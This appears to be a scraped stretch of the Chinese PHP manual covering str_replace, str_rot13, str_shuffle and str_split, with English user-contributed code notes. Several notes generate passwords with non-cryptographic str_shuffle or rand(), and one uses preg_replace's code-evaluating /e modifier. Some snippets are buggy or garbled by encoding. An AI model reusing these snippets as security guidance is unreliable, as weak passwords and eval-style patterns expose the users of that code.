echo str_replace($search, $replace, $subject); // output: 'F'
?>

Since 'A' is the only letter in the $search array that appears in $subject, one would expect the result to be 'B'; however, replacement number $n does *not* operate on $subject, it operates on $subject after the previous $n-1 replacements have been completed.

The following function utilizes array_combine and strtr to produce the expected output, and I believe it is the most efficient way to perform the desired string replacement without prior replacements affecting the final result.

<?php
/**
* When using str_replace(...), values that did not exist in the original string (but were put there by previous
* replacements) will be replaced continuously.  This string replacement function is designed replace the values
* in $search with those in $replace while not factoring in prior replacements.  Note that this function will
* always look for the longest possible match first and then work its way down to individual characters.
*
* The "o" in "stro_replace" represents "original", indicating that the function operates only on the original string.
*
* @param array $search list of strings or characters that need to be replaced
* @param array $replace list of strings or characters that will replace the corresponding values in $search
* @param string $subject the string on which this operation is being performed
*
* @return string $subject with all substrings in the $search array replaced by the values in the $replace array
*/
function stro_replace($search, $replace, $subject)
{
    return strtr( $subject, array_combine($search, $replace) );
}

$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'ABCDE';

echo stro_replace($search, $replace, $subject); // output: 'BCDEF'
?>

Some other examples:

<?php
$search = array(' ', '&');
$replace = array('&nbsp;', '&amp;');
$subject = 'Hello & goodbye!';

// We want to replace the spaces with &nbsp; and the ampersand with &amp;
echo str_replace($search, $replace, $subject); // output: "Hello&amp;nbsp&amp;&amp;nbspgoodbye!" - wrong!

echo stro_replace($search, $replace, $subject); // output: "Hello&nbsp;&amp;&nbsp;goodbye!" - correct!

/*
    Note:  Run the above code in the CLI or view source on your web browser - the replacement strings for stro_replace are HTML entities which the browser interprets.
*/
?>

<?php
$search = array('ERICA', 'AMERICA');
$replace = array('JON', 'PHP');
$subject = 'MIKE AND ERICA LIKE AMERICA';

// We want to replace the name "ERICA" with "JON" and the word "AMERICA" with "PHP"
echo str_replace($search, $replace, $subject); // output: "MIKE AND JON LIKE AMJON", which is not correct

echo stro_replace($search, $replace, $subject); // output: "MIKE AND JON LIKE PHP", which is correct
?>
nospam at nospam dot com 02-Dec-2008 02:55
Replacement for str_replace in which a multiarray of numerically keyed data can be properly evaluated with the given template without having a search for 11 be mistaken for two 1's next to each other

<?php

function data_template($input, $template) {
  if ($template) { // template string
    if ($split = str_split($template)) { // each char as array member
      foreach ($split as $char) { // each character
        if (is_numeric($char)) { // test for digit
          if ($s != 1) { // new digit sequence
            $i++;
            $s = 1;
          }
          $digits[$i] .= $char; // store digit
        } else { // not a digit
          if ($s != 2) { // new non-digit sequence
            $i++;
            $s = 2;
          }
          $strings[$i] .= $char; // store string
        }
      }
      if ($i && $input && is_array($input)) { // input data
        foreach ($input as $sub) { // each subarray
          if (is_array($sub)) {
            $out = ''; // reset output
            for ($j = 0; $j <= $i; $j++) { // each number/string member
              if ($number = $digits[$j]) { // number
                $out .= $sub[$number]; // add value from subarray to output
              } else { // string
                $out .= $strings[$j]; // add to output
              }
            }
            $a[] = $out;
          }
        }
        return $a;
      } // input
    } // split
  } // template
}

$input = array(array(1=>'yellow', 2=>'banana', 11=>'fruit'), array(1=>'green', 2=>'spinach', 11=>'vegetable'), array(1=>'pink', 2=>'salmon', 11=>'fish'));

print_r (data_template($input, '2: a 1, healthy 11'));

/*
Array
(
    [0] => banana: a yellow, healthy fruit
    [1] => spinach: a green, healthy vegetable
    [2] => salmon: a pink, healthy fish
)
*/

// str_replace would have wanted to output 'banana: a yellow, healthy yellowyellow

?>

Not sure if this will help anyone but I wrote it for my application and thought I would share just in case
nick at NOSPAM dot pitchinteractive dot com 06-Oct-2008 04:12
I tried max at efoxdesigns dot com solution for str_replace_once but it didn't work quite right so I came up with this solution (all params must be strings):

<?php
function str_replace_once($search, $replace, $subject) {
    $firstChar = strpos($subject, $search);
    if($firstChar !== false) {
        $beforeStr = substr($subject,0,$firstChar);
        $afterStr = substr($subject, $firstChar + strlen($search));
        return $beforeStr.$replace.$afterStr;
    } else {
        return $subject;
    }
}
?>
paolo A T doppioclick D O T com 05-Sep-2008 04:15
For PHP 4 < 4.4.5 and PHP 5 < 5.2.1 you may occur (like me) in this bug:

http://www.php-security.org/MOPB/MOPB-39-2007.html
troy at troyonline dot com 22-Jun-2008 10:18
Yet another deep replace function:

<?php
    function str_replace_deep( $search, $replace, $subject)
    {
        $subject = str_replace( $search, $replace, $subject);

        foreach ($subject as &$value)
            is_array( $value) and $value =str_replace_deep( $search, $replace, $value);

        return $subject;
    }
?>
David Gimeno i Ayuso (info at sima dot cat) 09-Aug-2007 12:22
With PHP 4.3.1, at least, str_replace works fine when working with single arrays but mess it all with two or more dimension arrays.

<?php
$subject = array("You should eat this","this","and this every day.");
$search  = "this";
$replace = "that";
$new     = str_replace($search, $replace, $subject);

print_r($new); // Array ( [0] => You should eat that [1] => that [2] => and that every day. )

echo "<hr />";

$subject = array(array("first", "You should eat this")
                ,array("second","this")
                ,array("third", "and this every day."));
$search  = "this";
$replace = "that";
$new     = str_replace($search, $replace, $subject);

print_r($new); // Array ( [0] => Array [1] => Array [2] => Array )

?>
kole 25-Feb-2007 05:48
My input is MS Excel file but I want to save ',',"," as ',',",".

    $badchr        = array(
        "\xc2", // prefix 1
        "\x80", // prefix 2
        "\x98", // single quote opening
        "\x99", // single quote closing
        "\x8c", // double quote opening
        "\x9d"  // double quote closing
    );

    $goodchr    = array('', '', '\'', '\'', '"', '"');

    str_replace($badchr, $goodchr, $strFromExcelFile);

Works for me.
15-Jan-2007 01:42
Before spending hours searching your application why it makes UTF-8 encoding into some malformed something with str_replace, make sure you save your PHP file in UTF-8 (NO BOM).

This was at least one of my problems.
matt wheaton 30-Mar-2006 07:40
As an effort to remove those Word copy and paste smart quotes, I've found that this works with UTF8 encoded strings (where $text in the following example is UTF8). Also the elipsis and em and en dashes are replaced.

There is an "invisible" character after the a� for the right side double smart quote that doesn't seem to display here. It is chr(157).

<?php
  $find[] = 'a�?';  // left side double smart quote
  $find[] = 'a�?';  // right side double smart quote
  $find[] = 'a�?';  // left side single smart quote
  $find[] = 'a�™';  // right side single smart quote
  $find[] = 'a�|';  // elipsis
  $find[] = 'a�"';  // em dash
  $find[] = 'a�"';  // en dash

  $replace[] = '"';
  $replace[] = '"';
  $replace[] = "'";
  $replace[] = "'";
  $replace[] = "...";
  $replace[] = "-";
  $replace[] = "-";

  $text = str_replace($find, $replace, $text);
?>


对字符串执行 ROT13 转换

  • ? str_replace
  • str_shuffle ?
  • PHP Manual
  • 字符串 函数
  • 对字符串执行 ROT13 转换

str_rot13

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

str_rot13 — 对字符串执行 ROT13 转换

说明

str_rot13 ( string $str ) : string

对 str 参数执行 ROT13 编码并将结果字符串返回。

ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母，同时忽略非字母表中的字符。编码和解码都使用相同的函数，传递一个编码过的字符串作为参数，将得到原始字符串。

参数

str

输入字符串。

返回值

返回给定字符串的 ROT13 版本。

范例

Example #1 str_rot13() 范例

<?php

echo str_rot13('PHP 4.3.0'); // CUC 4.3.0

?>

User Contributed Notes

devcoder at gmail dot com 20-Oct-2018 11:29
My own generic rotN function

<?php
function rotN($string, $n = 13)
{
    $alphabet = join(range('a', 'z'));
    $alen = strlen($alphabet);

    $n %= $alen;
    if($n < 0) {
        $n += $alen;
    }
    if($n == 0) {
        return $string;
    }

    $cycled = substr($alphabet . $alphabet, $n, $alen);
    $alphabet = $alphabet . strtoupper($alphabet);
    $cycled = $cycled . strtoupper($cycled);
    return strtr($string, $alphabet, $cycled);
}
?>
Chris 18-Sep-2018 11:58
A nice, simple way of using rot-n. Allows for a lot of easy customisation, and works quickly. This function uses ASCII characters and values.

<?php

function rotn($val, $n) {
    $min = 0;
    $max = 127;
    $final = '';
    $new_string = str_split($val);

    foreach ($new_string as $letter) {
        $current = ord($letter);
        $val = $current+$n;

        if ($val >= $max) {
            $val = $val - $max;
        }

        if ($val <= $min) {
            $val = $val + $min;
        }

        $current = $val;
        $final .= chr($current);
    }

    return $final;
}

echo 'Test 123 (4) -> '.rotn("Test 123", 4).'<br>'; // Xiwx$567
echo 'Test 123 (8) -> '.rotn("Test 123", 8).'<br>'; // \m{|(9:;
echo 'Test 123 (-4) -> '.rotn("Test 123", -4).'<br>'; // Paop-./

$value = rotn("Test 123", 8);
echo 'Test 123 (Reverse [8 then -8]) -> '.rotn($value, -8).'<br>'; // Test 123

?>
arthur at kuhrmeier dot com 29-Jun-2015 05:44
I was writing a function for my website to also rotate numbers, and kept expanding it. I added extra characters, the ability to define the shift in percent, and which type of characters to affect.

<?php
//================================================== STRING ROTATE EXPANDED
function str_shift ($string, $perc=50, $useextra=FALSE, $usedigits=TRUE, $useupper=TRUE, $uselower=TRUE) {
    static $chars = array(
        'lower' => 'abcdefghijklmnopqrstuvwxyz',
        'upper' => 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
        'digits' => '0123456789',
        'extra' => ',.-()<>%/!"&=;:_[]{}#\\?\'+*',
    );
    settype($perc, 'float');
    if  (!$perc)  return $string;
    $perc = fmod((abs($perc) < 1 ? 100*$perc : $perc), 100);
    if  ($perc < 0)  $perc += 100;
    $use = (is_array($useextra) ? $useextra : array('lower'=>$uselower, 'upper'=>$useupper, 'digits'=>$usedigits, 'extra'=>$useextra));
    foreach ($chars as $type => $letters) {
        if  (!$use[$type])  continue;
        $shift = round(strlen($letters) * $perc / 100);
        $repl = substr($letters, $shift).substr($letters, 0, $shift);
        $string = strtr($string, $letters, $repl);
    }
    return $string;
}

//===== USAGE =====

string str_shift ( string $str [, float $percent [, bool $useextra [, bool $usedigits [, bool $uselower [, bool $useupper] ] ] ] ] )

string str_shift ( string $str [, float $percent [, array $usetypes ] ] )

$usetypes = array('lower'=>bool $uselower, 'upper'=>bool $useupper, 'digits'=>bool $usedigits, 'extra'=>bool $useextra);

//===== EXAMPLES =====

$string = "Peter's 17 pets (incl. 5 hamsters) love Dr Sarah Gibson, DVM!";
echo str_shift($string);
echo str_shift($string, 50, TRUE);
echo str_shift($string, -25, FALSE, FALSE);
echo str_shift($string, 1/3);
echo str_shift($string, 50, array('lower'=>TRUE, 'digits'=>TRUE));
?>

//===== RESULT =====

Crgre'f 62 crgf (vapy. 0 unzfgref) ybir Qe Fnenu Tvofba, QIZ!
Crgre"f 62 crgf [vapy: 0 unzfgref] ybir Qe Fnenu Tvofba; QIZ?
Jynyl'm 17 jynm (chwf. 5 bugmnylm) fipy Xl Mulub Acvmih, XPG!
Yncna'b 40 yncb (rwlu. 8 qjvbcnab) uxen Ma Bjajq Prkbxw, MEV!
Prgre'f 62 crgf (vapy. 0 unzfgref) ybir De Snenu Gvofba, DVM!

1. The basic parameters are the string and the percentage, 50 by default. The next four parameters allow to select which type of characters to process. There is a good reason why I put less common types first, and most obvious last. To activate extra characters you need only 1 additional parameter, otherwise you would need 4 enabling also the obvious types.

2. The definition for the letters and digits is obvious. For the extra characters I chose kind of pairs that make sense when shifted by 50%, e.g. () => [] or & => + etc. Of course you can adjust those characters to anything you like.

3. The first step is to clean the percentage, and also allow "real" floats, e.g. 1/3 for 33.33%.

4. The next step secures great flexibility when using the function. As described, instead of 4 boolean parameters you can pass 1 array. E.g. the array('upper' => TRUE) will enable the change of uppercase letters only.

5. Finally the function goes through every type and shifts the characters according to the given percentage.

I hope you can use this function and do some fancy stuff with it. Rotating characters doesn't really make sense, but it can be fun.

Arthur :-)
agente007_1_ at hotmail dot com 09-Jun-2015 02:48
/**
SALVAJE COMENTARIO EN ESPA?OL XD
*/

<?php

$cadena = $_POST['entrada'];

/**convierte en cadena*/
$array = str_split($cadena);

echo $cadena ."<br>";

for ($i=0; $i < count($array); $i++) {

if( $array[$i] >= "A" &&  $array[$i] <= "M" ){
$letra = ord($array[$i]);
$letra = $letra + 13;
echo chr($letra);
}

if( $array[$i] >= "N" &&  $array[$i] <= "Z" ){
$letra = ord($array[$i]);
$letra = $letra - 13;
echo chr($letra);
}

}

?>
steve 03-Jul-2013 09:37
Below is a short function that allows you to rotate a string which includes non alphabetic characters you choose.

By running the code without the second argument you can both obfuscate then de-obfuscate.  This isn't a safe form of encryption, just a quick way to hide stuff from the casual viewer.

function str_rot($s, $n = -1) {
    //Rotate a string by a number.
    static $letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789.,!$*+-?@#'; //To be able to de-obfuscate your string the length of this needs to be a multiple of 4 AND no duplicate characters
    $letterLen=round(strlen($letters)/2);
    if($n==-1) $n=(int)($letterLen/2); //Find the "halfway rotate point"
    $n = (int)$n % ($letterLen);
    if (!$n) return $s;
    if ($n < 0) $n += ($letterLen);
    //if ($n == 13) return str_rot13($s);
    $rep = substr($letters, $n * 2) . substr($letters, 0, $n * 2);
    return strtr($s, $letters, $rep);
}

$input="ABC123";
$output=str_rot($input);
echo $input." = ".$output." = ".str_rot($output)."<br>";
shaun 11-Feb-2012 02:44
I was reminded again of the desire for a generic str_rot function. Character manipulation loops in PHP are slow compared to their C counterparts, so here's a tuned version of the previous function I posted. It's 1.6 times as fast, mainly by avoiding chr() calls.

<?php
function str_rot($s, $n = 13) {
    static $letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $n = (int)$n % 26;
    if (!$n) return $s;
    if ($n == 13) return str_rot13($s);
    for ($i = 0, $l = strlen($s); $i < $l; $i++) {
        $c = $s[$i];
        if ($c >= 'a' && $c <= 'z') {
            $s[$i] = $letters[(ord($c) - 71 + $n) % 26];
        } else if ($c >= 'A' && $c <= 'Z') {
            $s[$i] = $letters[(ord($c) - 39 + $n) % 26 + 26];
        }
    }
    return $s;
}
?>

But using strtr() you can get something 10 times as fast as the above :

<?php
function str_rot($s, $n = 13) {
    static $letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz';
    $n = (int)$n % 26;
    if (!$n) return $s;
    if ($n < 0) $n += 26;
    if ($n == 13) return str_rot13($s);
    $rep = substr($letters, $n * 2) . substr($letters, 0, $n * 2);
    return strtr($s, $letters, $rep);
}
?>

This technique is faster because PHP's strtr is implemented in C using a byte lookup table (it has O(m + n) complexity). However, PHP 6 will use Unicode, so I guess(?) strtr will then have to be implemented with a search for each character (O(m * n)). Using strtr might still be faster since it offloads the character manipulation to C rather than PHP, but I don't really know. Take your pick.

Happy coding!

(Benchmark code):

<?php
for ($k = 0; $k < 10; $k++) {
    $s = 'The quick brown fox jumps over the lazy dog.';
    $t = microtime(1);
    for ($i = 0; $i < 1000; $i++) $s = str_rot($s, $i);
    $t = microtime(1) - $t;
    echo number_format($t, 3) . "\n";
}
?>
shaunspiller at spammenotgmail dot com 26-Sep-2009 08:54
Here's my implementation of a str_rot that takes a custom offset. It's faster than the others here because it allocates the output string in one go instead of tacking on characters one at a time. It can handle positive or negative offsets of any size, and it fixes everything up to ensure only upper and lower case letters are translated and that they wrap around correctly within the alphabet.

<?php
function str_rot($s, $n = 13) {
    $n = (int)$n % 26;
    if (!$n) return $s;
    for ($i = 0, $l = strlen($s); $i < $l; $i++) {
        $c = ord($s[$i]);
        if ($c >= 97 && $c <= 122) {
            $s[$i] = chr(($c - 71 + $n) % 26 + 97);
        } else if ($c >= 65 && $c <= 90) {
            $s[$i] = chr(($c - 39 + $n) % 26 + 65);
        }
    }
    return $s;
}
?>
peter at NOSPAM jamit dot com 07-Sep-2009 07:31
This ROT13 variant is different from my earlier version in that it retains 'ethnicity'. For example, a Chinese text when encrypted will remain Chinese, and the string will not be making sense (the real meaning will be encrypted). Just look at the code and you will understand.

<?php

function unichar2ords($char, $encoding = 'UTF-8') {
    $char = mb_convert_encoding($char, 'UCS-4', $encoding);
    $val = unpack('N', $char);
    return $val[1];
    }

function ords2unichar($ords, $encoding = 'UTF-8'){
    $char = pack('N', $ords);
    return mb_convert_encoding($char, $encoding, 'UCS-4');
    }

function mbStringToArray ($string, $encoding = 'UTF-8') {
    if (empty($string)) return false;
    for ($strlen = mb_strlen($string, $encoding); $strlen > 0; ) {
        $array[] = mb_substr($string, 0, 1, $encoding);
        $string  = mb_substr($string, 1, $strlen, $encoding);
        $strlen  = $strlen - 1;
        }
    return $array;
    }

function unicodeRotN($str, $offset, $encoding = 'UTF-8') {
    $val = '';
    $array = mbStringToArray ($str, $encoding = 'UTF-8');
    $len = count($array);
    for ($i = 0; $i < $len; $i++) {
        $val .= ords2unichar(unichar2ords($array[$i], $encoding) + $offset, $encoding);
        }
    return $val;
    }

// example

$original = '中國是我的家'; // means "China is my home"

$encrypted = unicodeRotN($string, 13); // 为團昼戞皑寃 means "? Ai injustice for the Mission Day" (Google translation)

$decrypted = unicodeRotN($encrypted, -13); // 中國是我的家

?>
peter at NOSPAM jamit dot com 07-Sep-2009 01:11
Here is my ROT13 function that works for all possible characters and not just ASCII. It can be used on Chinese, Japanese, ....

<?php

function rot13encrypt ($str) {
    return str_rot13(base64_encode($str));
    }

function rot13decrypt ($str) {
    return base64_decode(str_rot13($str));
    }

// example

$string = '中國是我的家';

$encrypted = rot13encrypt ($string); // produces 5Yvg5MlY5cvi5bvE55dR5n62

$decrypted = rot13decrypt ($encrypted); // produces 中國是我的家

?>
arwab at surrealwebs dot com 11-Jul-2007 01:11
here's my rot function, it works anyway
<?php
/**
 * preforms the rotation algorithm on the passed in string
 */
function _rot( $str , $dist=13 ){
    if( !is_numeric($dist) || $dist < 0){
        $dist = 13;
    }

    $u_lower =  65; $u_upper =  90;
    $l_lower =  97; $l_upper = 122;

    $char_count = ($u_upper - $u_lower) +1;

    while( $dist > $char_count ){
        $dist -= $char_count;
    }

    $newstr = '';

    for( $i=0; $i<strlen($str); ++$i){
        $c = ord($str[$i]);

        /*
         * Check if the character is within the bounds of our function (a-zA-z)
         * if not it gets tacked on to the string as is and we move on to the
         * next one.
         */
        if( $c<$u_lower || $c>$l_upper || ( $c>$u_upper && $c <$l_lower ) ){
            $newstr .= chr($c);
            continue;
        }

        $lower = ( $c<=$u_upper?$u_lower:$l_lower);
        $upper = ( $c<=$u_upper?$u_upper:$l_upper);

        $c += $dist;

        if( $c > $upper){
            $c = (($c - $upper) + ($lower-1));
        }

        $newstr .= chr($c);
    }

    return $newstr;
}
?>
electro at whatever dot com 31-May-2007 12:21
<?php

/**
 * Rotate each string characters by n positions in ASCII table
 * To encode use positive n, to decode - negative.
 * With n = 13 (ROT13), encode and decode n can be positive.
 *
 * @param string $string
 * @param integer $n
 * @return string
 */
function rotate($string, $n) {

    $length = strlen($string);
    $result = '';

    for($i = 0; $i < $length; $i++) {
        $ascii = ord($string{$i});

        $rotated = $ascii;

        if ($ascii > 64 && $ascii < 91) {
            $rotated += $n;
            $rotated > 90 && $rotated += -90 + 64;
            $rotated < 65 && $rotated += -64 + 90;
        } elseif ($ascii > 96 && $ascii < 123) {
            $rotated += $n;
            $rotated > 122 && $rotated += -122 + 96;
            $rotated < 97 && $rotated += -96 + 122;
        }

        $result .= chr($rotated);
    }

    return $result;
}

$enc = rotate('string', 6);
echo "Encoded: $enc<br/>\n";
echo 'Decoded: ' . rotate($enc, -6);

?>
maximius at gmail dot com 25-May-2007 04:30
Perhaps someone will find this useful ;)

<?
           function rotN($s, $n){
                $s2 = "";
                for($i = 0; $i < strlen($s); $i++){
                    $char2 = $char = ord($s{$i});
                    $cap = $char & 32;

                    $char &= ~ $cap;
                    $char = $char > 64 && $char < 123 ? (($char - 65 + $n) % 26 + 65) : $char;
                    $char |= $cap;
                    if($char < 65 && $char2 > 64 || ($char > 90 && $char < 97 && ($char2 < 91 || $char2 > 96))) $char += 26;
                    else if($char > 122 && $char2 < 123) $char -= 52;
                    if(strtoupper(chr($char2)) === chr($char2)) $char = strtoupper(chr($char)); else $char = strtolower(chr($char));
                    $s2 .= $char;
                }
                return $s2;
            }
?>
It takes any string, $s, and any ROT value, $n. Just like str_rot13, it's both an encoder and decoder. To decode an encoded string, just pass -$n instead of $n.


随机打乱一个字符串

  • ? str_rot13
  • str_split ?
  • PHP Manual
  • 字符串 函数
  • 随机打乱一个字符串

str_shuffle

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

str_shuffle — 随机打乱一个字符串

说明

str_shuffle ( string $str ) : string

str_shuffle() 函数打乱一个字符串，使用任何一种可能的排序方案。

Caution

本函数并不会生成安全加密的值，不应用于加密用途。若需要安全加密的值，考虑使用openssl_random_pseudo_bytes()。

参数

str

输入字符串。

返回值

返回打乱后的字符串。

更新日志

版本 | 说明
7.1.0 | 内置的随机算法从 libc rand 函数改成了 » 梅森旋转演伪随机数发生算法。

范例

Example #1 str_shuffle() 范例

<?php
$str = 'abcdef';
$shuffled = str_shuffle($str);

// 输出类似于: bfdaec
echo $shuffled;
?>

参见

  • shuffle() - 打乱数组
  • rand() - 产生一个随机整数

User Contributed Notes

ronald 04-Oct-2015 11:44
This page is missing a very important notice:

Caution

This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using random_int(), random_bytes(), or openssl_random_pseudo_bytes() instead.
blamoo2 at hotmail dot com 15-Jul-2015 01:35
This function is affected by srand():

<?php
srand(12345);
echo str_shuffle('Randomize me') . '<br/>'; // "demmiezr aon"
echo str_shuffle('Randomize me') . '<br/>'; // "izadmeo rmen"

srand(12345);
echo str_shuffle('Randomize me') . '<br/>'; // "demmiezr aon" again
?>
krzysiekpiasecki at gmail dot com 23-May-2015 09:06
/**
 * Test shuffleString
 */
function testShuffleString() {
    $shuffled = shuffleString("????ó");
    if (\mb_strlen($shuffled) != 5) {
        throw new \UnexpectedValueException("Invalid count of characters");
    }
    if ($shuffled == "????ó") {
        throw new \UnexpectedValueException("The same string");
    }
    foreach (["?", "?", "?", "?", "ó"] as $char) {
        if (\mb_strpos($shuffled, $char) === false) {
            throw new \UnexpectedValueException("Character not found");
        }
    }
}

/**
 * Shuffle string
 *
 * @param $stringValue String to shuffle
 * @param string $startWith Shuffle $stringValue and append to $startWith
 * @return string Shuffled string
 * @author Krzysztof Piasecki<krzysiekpiasecki@gmail.com>
 */
function shuffleString($stringValue, $startWith = "") {
    $range = \range(0, \mb_strlen($stringValue));
    shuffle($range);
    foreach($range as $index) {
        $startWith .= \mb_substr($stringValue, $index, 1);
    }
    return $startWith;
};

testShuffleString();

echo shuffleString("Hello"); // > 'elHol' (something like this)
echo shuffleString("World!", "Hello "); // > 'Hello do!lrW' (something like this)
Anonymous 14-Oct-2014 05:35
str_shuffle isn't recommendable for passwords. Each character exists only one time).

A function like the following one is better for this.

<?php
    function generatePassword($length = 8) {
        $possibleChars = "abcdefghijklmnopqrstuvwxyz";
        $password = '';

        for($i = 0; $i < $length; $i++) {
            $rand = rand(0, strlen($possibleChars) - 1);
            $password .= substr($possibleChars, $rand, 1);
        }

        return $password;
    }
?>
qeremy [atta] gmail [dotta] com 24-Feb-2012 11:58
A proper unicode string shuffle;

<?php
function str_shuffle_unicode($str) {
    $tmp = preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
    shuffle($tmp);
    return join("", $tmp);
}
?>

$str = "?eker yarim"; // My sweet love

echo str_shuffle($str); // i?eymr?ekr ?

echo str_shuffle_unicode($str); // ?r mreyeika
Anonymous 21-Jun-2010 10:32
Shuffle for all encoding formats

<?php

function unicode_shuffle($string, $chars, $format = 'UTF-8')
{
    for($i=0; $i<$chars; $i++)
        $rands[$i] = rand(0, mb_strlen($string, $format));

        $s = NULL;

    foreach($rands as $r)
        $s.= mb_substr($string, $r, 1, $format);

    return $s;
}

?>
jojersztajner at OXYGEN dot POLAND 16-Jun-2007 03:27
Aoccdrnig to rseearch at an Elingsh uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoatnt tihng is that the frist and lsat ltteer is at the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae we do not raed ervey lteter by it slef but the wrod as a wlohe.

Hree's a cdoe taht slerbmcas txet in tihs way:
<?php
    function scramble_word($word) {
        if (strlen($word) < 2)
            return $word;
        else
            return $word{0} . str_shuffle(substr($word, 1, -1)) . $word{strlen($word) - 1};
    }

    echo preg_replace('/(\w+)/e', 'scramble_word("\1")', 'A quick brown fox jumped over the lazy dog.');
?>

It may be ufseul if you wnat to cetare an aessblicce CTCPAHA.
CygnusX1 14-Feb-2007 01:17
To cobine functionality and simplicity of the two functions below we can have:

<?php
function generatePasswd($numAlpha=6,$numNonAlpha=2)
{
   $listAlpha = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
   $listNonAlpha = ',;:!?.$/*-+&@_+;./*&?$-!,';
   return str_shuffle(
      substr(str_shuffle($listAlpha),0,$numAlpha) .
      substr(str_shuffle($listNonAlpha),0,$numNonAlpha)
    );
}
?>
dzafel at op dot pl 29-Dec-2006 01:16
Very, very simple random password generator, without using rand() function:

<?php
function random_password($chars = 8) {
   $letters = 'abcefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
   return substr(str_shuffle($letters), 0, $chars);
}
?>
Michiel van den boogaard 17-Jan-2005 02:03
Shortend function for PHP < 4.3
<?php
function RandomPass($numchar)
{
    $word = "a,b,c,d,e,f,g,h,i,j,k,l,m,1,2,3,4,5,6,7,8,9,0";
    $array=explode(",",$word);
    shuffle($array);
    $newstring = implode($array,"");
    return substr($newstring, 0, $numchar);
}
?>


将字符串转换为数组

  • ? str_shuffle
  • str_word_count ?
  • PHP Manual
  • 字符串 函数
  • 将字符串转换为数组

str_split

(PHP 5, PHP 7)

str_split — 将字符串转换为数组

说明

str_split ( string $string [, int $split_length = 1 ] ) : array

将一个字符串转换为数组。

参数

string

输入字符串。

split_length

每一段的长度。

返回值

如果指定了可选的 split_length 参数，返回数组中的每个元素均为一个长度为 split_length 的字符块，否则每个字符块为单个字符。

如果 split_length 小于 1，返回 FALSE。如果 split_length 参数超过了 string 超过了字符串 string 的长度，整个字符串将作为数组仅有的一个元素返回。

范例

Example #1 str_split() 使用范例

<?php

$str = "Hello Friend";

$arr1 = str_split($str);
$arr2 = str_split($str, 3);

print_r($arr1);
print_r($arr2);

?>

以上例程会输出：

Array
(
    [0] => H
    [1] => e
    [2] => l
    [3] => l
    [4] => o
    [5] =>
    [6] => F
    [7] => r
    [8] => i
    [9] => e
    [10] => n
    [11] => d
)

Array
(
    [0] => Hel
    [1] => lo
    [2] => Fri
    [3] => end
)

注释

Note:

在处理多字节字符时，str_split() 会按字节数转换，而非字符数。

参见

  • chunk_split() - 将字符串分割成小块
  • preg_split() - 通过一个正则表达式分隔字符串
  • explode() - 使用一个字符串分割另一个字符串
  • count_chars() - 返回字符串所用字符的信息
  • str_word_count() - 返回字符串中单词的使用情况
  • for

User Contributed Notes

Anonymous 23-Jul-2017 01:59
This is very good. I love PHP. Woderful!
Perl Rules 12-Jan-2017 11:01
Unicode str_split without use of mbstring. Based on PCRE_UTF8 feature.

function mb_str_split($str, $len){
    $chars = preg_split('/(?<!^)(?!$)/u', $str );
    $out = array();
    foreach( array_chunk($chars, $len) as $a ){
        $out[] = join("", $a);
    }
    return $out;
}
veszelovszki at gmail dot com 16-Apr-2015 07:14
Here is a better version of queremy@gmail.com's solution. It has the exact same interface as str_split, but works with any UTF-8 string.

<?php
if (!function_exists('mb_str_split')) {
    /**
     * Converts an UTF-8 string to an array.
     *
     * E.g. mb_str_split("Hello Friend");
     * returns ['H', 'e', 'l', 'l', 'o', ' ', 'w', 'o', 'r', 'l', 'd']
     *
     * @param string $string The input string.
     * @param int $split_length Maximum length of the chunk. If specified, the returned array will be broken down
     *        into chunks with each being split_length in length, otherwise each chunk will be one character in length.
     * @return array|boolean
     *         -
     *         - If the split_length length exceeds the length of string, the entire string is returned
     *           as the first (and only) array element.
     *         - False is returned if split_length is less than 1.
     */
    function mb_str_split($string, $split_length = 1)
    {
        if ($split_length == 1) {
            return preg_split("//u", $string, -1, PREG_SPLIT_NO_EMPTY);
        } elseif ($split_length > 1) {
            $return_value = [];
            $string_length = mb_strlen($string, "UTF-8");
            for ($i = 0; $i < $string_length; $i += $split_length) {
                $return_value[] = mb_substr($string, $i, $split_length, "UTF-8");
            }
            return $return_value;
        } else {
            return false;
        }
    }
}
?>
Daniel Rhodes 02-Mar-2015 08:38
It's mentioned in the Return Values section above ("If the split_length length exceeds the length of string, the entire string is returned as the first (and only) array element"), but note that an input of empty string will return array(1) { [0]=> string(0) "" }. Interestingly an input of NULL will also return array(1) { [0]=> string(0) "" }.

Compare this with, say, <?php  preg_split('//', $inputString, -1, PREG_SPLIT_NO_EMPTY); ?> which will return array(0) { } for an input of empty string or NULL. I find this to be a bit more intuitive.

Hope this helps.
kunal dot b at indiaproperty dot com 26-Sep-2014 10:34
Note that in atleast in PHP 5.5.9 (Zend Engine v2.5.0), str_split with an integer value as an argument may return unpredictable results.

If your number contains leading 0's, the result array is unprdictable as it may contain any number of digits from the argument or (mostly) just a 0.

Here are a list of possible values that might be returned:
-Interger

<?php
print_r(str_split(0080450));  // does not work
print_r(str_split(strval(0080450)));  // neither this

/*
* Outputs:
* Array
* (
*     [0] => 0
* )
*/
?>

BUT
<?php
print_r(str_split(80450));  // works fine
print_r(str_split(strval(80450)));  // so does this

/*
* Outputs:
* (
*     [0] => 8
*     [1] => 0
*     [2] => 4
*     [3] => 5
*     [4] => 0
* )
*/
?>

Floating point numbers have their leading and trailing 0s cut off:
<?php
print_r(str_split(0080450.0010));   // works but.. print_r(str_split(strval(0080450.0010)));  // same here..

/*
Outputs:
* Array
* (
*     [0] => 8
*     [1] => 0
*     [2] => 4
*     [3] => 5
*     [4] => 0
*     [5] => .
*     [6] => 0
*     [7] => 0
*     [8] => 1
* )
*/
?>

